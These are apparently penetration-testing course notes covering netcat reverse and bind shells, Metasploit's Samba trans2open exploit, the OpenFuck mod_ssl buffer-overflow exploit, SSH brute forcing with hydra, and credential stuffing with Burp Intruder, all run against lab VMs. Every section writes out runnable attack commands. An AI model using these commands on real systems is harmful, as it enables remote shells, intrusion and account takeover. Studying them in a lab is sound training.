Exploitation Basics

Reverse shell vs Bind shell

netcat

➡️ netcat

Reverse shell - the victim/target connects back to the attacker

• Attack machine - listening on a port

• Target machine - connect to the attacker machine listening port

Netcat Reverse Shell - hackingtutorials.org

# Attacker
nc -nvlp 4444

# Target
nc 192.168.31.131 4444 -e /bin/bash

Reverse shell

Bind shell - the attacker opens a port on the target (via exploitation) and connects to it

• Attack machine - exploits target and opens port listening on target and connects to it

• Target machine - listens for the attacker connection

Netcat Bind Shell - hackingtutorials.org

• Specially used on external assessment

# Target
nc -nvlp 4444 -e /bin/bash

# Attacker
nc 192.168.31.131 4444

Bind shell

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Staged vs Non-Staged payloads

Non-Staged payload - sends exploit shellcode all at once, larger in size and won't always work

• Metasploit e.g. payload/windows/meterpreter_reverse_tcp

Staged payload - sends payload in stages, less stable

• Metasploit e.g. payload/windows/meterpreter/reverse_tcp

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Metasploit (SMB attack)

searchsploit samba 2.2

searchsploit samba 2.2

# Run Metasploit
msfconsole

search trans2open
use exploit/linux/samba/trans2open
options

set RHOSTS 192.168.31.130
show targets

run

• This does not work, since it is using the linux/x86/meterpreter/reverse_tcp staged payload.

• Try with another payload

set payload linux/x86/shell_reverse_tcp
run

root on Kioptrix VM

• Gained reverse shell via Metasploit

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Manual exploitation

Use OpenLuck to exploit CVE-2002-0082 - Apache mod_ssl < 2.8.7 OpenSSL - Remote Buffer Overflow

• Follow usage instruction to compile the exploit and run it against the target machine

git clone https://github.com/heltonWernik/OpenFuck.git
sudo apt-get install libssl-dev
gcc -o OpenFuck OpenFuck.c -lcrypto

./OpenFuck

# check an offset for Apache 1.3.20 
# ./OpenFuck target box [port] [-c N]

./OpenFuck 0x6b 192.168.31.130 -c 40

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Brute force attacks

• Brute-force attack SSH with weak/default credentials

hydra

➡️ hydra

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.31.130 -t 4 -V

• Use the same with Metasploit

msfconsole

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.31.130
set USERNAME root
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
PASS_FILE => /usr/share/wordlists/metasploit/unix_passwords.txt
set THREADS 10
set VERBOSE true
run

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Credential stuffing and Password spraying

Credential stuffing - injecting breached account credentials (leaks, etc) in hopes of account takeover

Password spraying - brute forcing logins based on a list of usernames with default passwords

ls -lah /usr/share/seclists/Passwords/Leaked-Databases/

• Setup FoxyProxy in the browser and start BurpSuite.

• Use local vulnerable webapp like dvwa

sudo apt install dvwa

dvwa-start

• Open the login page - http://127.0.0.1:42001/vulnerabilities/brute/

BurpSuite

• Turn intercept ON and send the login request to intruder

• Highlight the username and password values, and add them to the payload positions

• Attack type - Pitchfork

• Payloads

  • for each payload set, paste the usernames list and password

  • Start the attack

    • check the response for Status change and Length

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